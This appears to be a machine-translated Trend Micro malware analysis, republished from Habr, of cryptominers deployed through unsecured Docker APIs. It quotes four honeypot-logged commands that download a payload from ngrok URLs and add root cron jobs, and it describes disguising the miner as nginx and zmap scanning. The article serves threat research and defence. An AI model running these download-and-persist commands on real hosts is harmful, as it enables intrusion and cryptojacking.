Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta

Analizirali smo podatke prikupljene pomoću honeypot kontejnera, koje smo kreirali za praćenje prijetnji. I otkrili smo značajnu aktivnost neželjenih ili neovlaštenih rudara kriptovaluta koji su raspoređeni kao lažni kontejneri koristeći sliku objavljenu u zajednici na Docker Hubu. Slika se koristi kao dio usluge koja isporučuje zlonamjerne rudare kriptovaluta.

Dodatno, instalirani su programi za rad sa mrežama za prodiranje u otvorene susjedne kontejnere i aplikacije.

Ostavljamo naše honeypots kakve jesu, odnosno sa zadanim postavkama, bez ikakvih sigurnosnih mjera ili naknadne instalacije dodatnog softvera. Imajte na umu da Docker ima preporuke za početno podešavanje kako bi se izbjegle greške i jednostavne ranjivosti. Ali korišćeni honeypots su kontejneri, dizajnirani da otkriju napade usmerene na platformu za kontejnerizaciju, a ne na aplikacije unutar kontejnera.

Otkrivena zlonamjerna aktivnost je također značajna jer ne zahtijeva ranjivosti i također je neovisna o Docker verziji. Pronalaženje pogrešno konfigurisane i stoga otvorene slike kontejnera je sve što je napadačima potrebno da zaraze mnoge otvorene servere.

Nezatvoreni Docker API omogućava korisniku da izvrši širok raspon timovi, uključujući dobijanje liste pokrenutih kontejnera, dobijanje dnevnika iz određenog kontejnera, pokretanje, zaustavljanje (uključujući prisilno) pa čak i kreiranje novog kontejnera iz određene slike sa određenim postavkama.

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Na lijevoj strani je način isporuke zlonamjernog softvera. Desno je okruženje napadača, koje omogućava daljinsko objavljivanje slika.

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Distribucija po zemljama 3762 otvorena Docker API-ja. Na osnovu Shodan pretrage od 12.02.2019

Opcije lanca napada i nosivosti

Zlonamjerna aktivnost otkrivena je ne samo uz pomoć honeypots-a. Podaci iz Shodana pokazuju da se broj izloženih Docker API-ja (pogledajte drugi grafikon) povećao otkako smo istražili pogrešno konfigurirani kontejner koji se koristi kao most za implementaciju softvera za rudarenje kriptovaluta Monero. U oktobru prošle godine (2018, trenutni podaci možete izgledati ovako cca. prevodilac) bilo je samo 856 otvorenih API-ja.

Ispitivanje dnevnika honeypota pokazalo je da je korištenje slike kontejnera također povezano s korištenjem ngrok, alat za uspostavljanje sigurnih veza ili prosljeđivanje prometa sa javno dostupnih tačaka na određene adrese ili resurse (na primjer localhost). Ovo omogućava napadačima da dinamički kreiraju URL-ove kada isporučuju teret na otvoreni server. Ispod su primjeri koda iz dnevnika koji pokazuju zloupotrebu usluge ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Kao što vidite, otpremljene datoteke se preuzimaju sa URL-ova koji se stalno mijenjaju. Ovi URL-ovi imaju kratak datum isteka, tako da se korisni sadržaji ne mogu preuzeti nakon datuma isteka.

Postoje dvije opcije nosivosti. Prvi je kompajlirani ELF rudar za Linux (definiran kao Coinminer.SH.MALXMR.ATNO) koji se povezuje na rudarski bazen. Druga je skripta (TrojanSpy.SH.ZNETMAP.A) dizajnirana da dobije određene mrežne alate koji se koriste za skeniranje mrežnih opsega i zatim traženje novih ciljeva.

Skripta dropper postavlja dvije varijable, koje se zatim koriste za implementaciju rudara kriptovaluta. Varijabla HOST sadrži URL na kojem se nalaze zlonamjerni fajlovi, a RIP varijabla je naziv datoteke (u stvari, hash) rudara koji će biti implementiran. Varijabla HOST se mijenja svaki put kada se promijeni hash varijabla. Skripta također pokušava provjeriti da na napadnutom serveru ne radi nijedan drugi rudar kriptovaluta.

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Primjeri HOST i RIP varijabli, kao i isječak koda koji se koristi za provjeru da nijedan drugi rudar ne radi

Prije pokretanja rudara, on se preimenuje u nginx. Druge verzije ove skripte preimenuju rudar u druge legitimne servise koji mogu biti prisutni u Linux okruženjima. Ovo je obično dovoljno da se zaobiđu provjere prema listi pokrenutih procesa.

Skripta za pretragu takođe ima karakteristike. Radi s istom URL uslugom za implementaciju potrebnih alata. Među njima je i zmap binarni program koji se koristi za skeniranje mreža i dobijanje liste otvorenih portova. Skripta također učitava drugu binarnu datoteku koja se koristi za interakciju s pronađenim servisima i primanje banera od njih kako bi se utvrdile dodatne informacije o pronađenom servisu (na primjer, njegova verzija).

Skripta također unaprijed određuje neke mrežne opsege za skeniranje, ali to ovisi o verziji skripte. Također postavlja ciljne portove iz usluga—u ovom slučaju, Docker—prije pokretanja skeniranja.

Čim se pronađu moguće mete, baneri se automatski uklanjaju sa njih. Skripta takođe filtrira ciljeve u zavisnosti od usluga, aplikacija, komponenti ili platformi od interesa: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 klijent i Apache CouchDB. Ako skenirani server odgovara nekom od njih, pohranjuje se u tekstualnu datoteku koju napadači kasnije mogu koristiti za naknadnu analizu i hakovanje. Ove tekstualne datoteke se uploaduju na servere napadača putem dinamičkih veza. Odnosno, za svaki fajl se koristi zaseban URL, što znači da je naknadni pristup otežan.

Vektor napada je Docker slika, kao što se može vidjeti u sljedeća dva dijela koda.

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Na vrhu je preimenovanje u legitimnu uslugu, a na dnu kako se zmap koristi za skeniranje mreža

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Na vrhu su unaprijed definirani mrežni rasponi, na dnu su specifični portovi za traženje usluga, uključujući Docker

Kako se ne-privatni Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Snimak ekrana pokazuje da je slika alpske kovrče preuzeta više od 10 miliona puta

Zasnovan na Alpine Linuxu i curl, CLI alatu koji štedi resurse za prijenos datoteka preko različitih protokola, možete izgraditi Docker slika. Kao što možete vidjeti na prethodnoj slici, ova slika je već preuzeta više od 10 miliona puta. Veliki broj preuzimanja može značiti korištenje ove slike kao ulazne tačke; ova slika je ažurirana prije više od šest mjeseci; korisnici nisu tako često preuzimali druge slike iz ovog spremišta. U Dockeru tačka ulaska - skup instrukcija koje se koriste za konfiguraciju kontejnera za njegovo pokretanje. Ako su postavke ulazne tačke neispravne (na primjer, kontejner je ostavljen otvoren sa interneta), slika se može koristiti kao vektor napada. Napadači ga mogu koristiti za isporuku tereta ako pronađu pogrešno konfiguriran ili otvoren kontejner koji nije podržan.

Važno je napomenuti da ova slika (alpine-curl) sama po sebi nije zlonamjerna, ali kao što vidite gore, može se koristiti za obavljanje zlonamjernih funkcija. Slične Docker slike se također mogu koristiti za obavljanje zlonamjernih aktivnosti. Kontaktirali smo Docker i radili s njima na ovom pitanju.

preporuke

Pogrešna postavka ostaje stalni problem za mnoge kompanije, posebno one koje implementiraju DevOps, fokusiran na brzi razvoj i isporuku. Sve otežava potreba da se poštuju pravila revizije i praćenja, potreba da se prati povjerljivost podataka, kao i ogromna šteta od njihovog nepoštovanja. Uključivanje sigurnosne automatizacije u razvojni životni ciklus ne samo da vam pomaže da pronađete sigurnosne rupe koje bi inače mogle ostati neotkrivene, već vam pomaže i da smanjite nepotrebno radno opterećenje, kao što je pokretanje dodatnih softverskih verzija za svaku otkrivenu ranjivost ili pogrešnu konfiguraciju nakon što se aplikacija implementira.

Incident o kojem se govori u ovom članku naglašava potrebu da se sigurnost uzme u obzir od samog početka, uključujući sljedeće preporuke:

  • Za sistemske administratore i programere: Uvijek provjerite postavke API-ja da biste bili sigurni da je sve konfigurirano da prihvata samo zahtjeve sa određenog servera ili interne mreže.
  • Slijedite princip najmanje prava: osigurajte da su slike kontejnera potpisane i provjerene, ograničite pristup kritičnim komponentama (usluga pokretanja kontejnera) i dodajte šifriranje mrežnim vezama.
  • Pratiti preporuke i omogućiti sigurnosne mehanizme, npr. iz Dockera i ugrađen sigurnosne karakteristike.
  • Koristite automatsko skeniranje vremena izvođenja i slika da biste dobili dodatne informacije o procesima koji se pokreću u kontejneru (na primjer, za otkrivanje lažiranja ili traženje ranjivosti). Kontrola aplikacija i praćenje integriteta pomažu u praćenju abnormalnih promjena na serverima, datotekama i sistemskim područjima.

Trendmicro pomaže DevOps timovima da sigurno grade, brzo uvedu i lansiraju bilo gdje. Trend Micro Hybrid Cloud Security Pruža moćnu, pojednostavljenu i automatiziranu sigurnost u cijelom DevOps kanalu organizacije i pruža višestruku odbranu od prijetnji XGen kako bi zaštitili fizička, virtuelna i radna opterećenja u oblaku tokom rada. Takođe dodaje sigurnost kontejnera sa Deep Security и Deep Security Smart Check, koji skenira slike Docker kontejnera u potrazi za zlonamjernim softverom i ranjivostima u bilo kojoj tački razvojnog procesa kako bi spriječio prijetnje prije nego što se one implementiraju.

Znakovi kompromisa

Povezani hashevi:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

U Docker video kurs Zvučnici koji vježbaju pokazuju koja podešavanja prvo treba izvršiti kako bi se smanjila vjerovatnoća ili potpuno izbjegla pojava gore opisane situacije. I to od 19. do 21. avgusta na online intenzivnom DevOps alati i varalice O ovim i sličnim sigurnosnim problemima možete razgovarati sa kolegama i nastavnicima praktičarima za okruglim stolom, gdje svi mogu progovoriti i saslušati bolove i uspjehe iskusnih kolega.

izvor: www.habr.com

Dodajte komentar